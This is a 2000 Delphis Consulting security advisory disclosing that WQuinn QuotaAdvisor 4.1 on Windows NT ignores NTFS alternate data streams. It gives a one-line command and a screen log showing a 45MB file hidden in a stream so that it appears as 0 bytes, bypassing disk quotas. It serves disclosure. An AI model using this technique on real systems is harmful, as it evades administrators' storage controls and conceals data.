DST2K0037.txt

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============================================================================  
Delphis Consulting Plc  
============================================================================  
  
Security Team Advisories  
[25/09/2000]  
  
[email protected]  
[http://www.delphisplc.com/thinking/whitepapers/]  
  
============================================================================  
Adv : DST2K0037  
Title : QuotaAdvisor 4.1 by WQuinn is susceptible to alternative  
data streams to bypass quotas.  
Author : DCIST ([email protected])  
O/S : Microsoft Windows NT 4 Server (SP5)  
Product : QuotaAdvisor 4.1 (Build 450)  
Date : 25/09/2000  
  
I. Description  
  
II. Solution  
  
III. Disclaimer  
  
  
============================================================================  
  
I. Description  
============================================================================  
  
Vendor URL: http://www.wquinn.com/  
  
Delphis Consulting Internet Security Team (DCIST) discovered the following  
vulnerability in QuotaAdvisor under Windows NT.  
  
Severity: medium - Bypassing quotas  
  
It is possible to bypass the quotas imposed by QuotaAdvisor by utilising  
data streams alternative to the default.  
  
example: cat e:\45mbfile.doc > 0mbfile.doc:hidden  
  
This would enable a 45mb file to appear as if the user is not utilising  
their  
quota. CAT was taken from the NT Resource KIT.  
  
Explorer & WQuinns space monitor shows the file as 0bytes although the total  
amount of free disk space availible does decrease.  
  
example screen log:  
I:\quota>copy C:\45mbfile.doc .\  
There is not enough space on the disk.  
0 file(s) copied.  
  
I:\quota>cat C:\45mbfile.doc > .\0mbfile.doc:hidden  
  
I:\quota>.\streams .\  
  
.\0mbfile.doc  
45698829 :hidden:$DATA  
  
I:\quota>dir hello.exe  
Volume in drive I has no label.  
Volume Serial Number is C0FA-B4DF  
  
Directory of I:\quota  
  
09/25/2000 05:49p 0 0mbfile.doc  
1 File(s) 0 bytes  
0 Dir(s) 1,841,468,928 bytes free  
  
  
II. Solution  
============================================================================  
  
Vendor Status: Informed  
  
Currently there us no known solution to this problem. The following are  
the vendors comments in response to our advisory:  
  
"This is a known issue based on a design choice to ignore streams.  
We plan in the future to support them."  
  
III. Disclaimer  
============================================================================  
THE INFORMATION CONTAINED IN THIS ADVISORY IS BELIEVED TO BE ACCURATE AT  
THE TIME OF PRINTING, BUT NO REPRESENTATION OR WARRANTY IS GIVEN, EXPRESS OR  
IMPLIED, AS TO ITS ACCURACY OR COMPLETENESS. NEITHER THE AUTHOR NOR THE  
PUBLISHER ACCEPTS ANY LIABILITY WHATSOEVER FOR ANY DIRECT, INDIRECT OR  
CONSEQUENTIAL LOSS OR DAMAGE ARISING IN ANY WAY FROM ANY USE OF, OR RELIANCE  
PLACED ON, THIS INFORMATION FOR ANY PURPOSE.  
============================================================================  
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Delphis  
  
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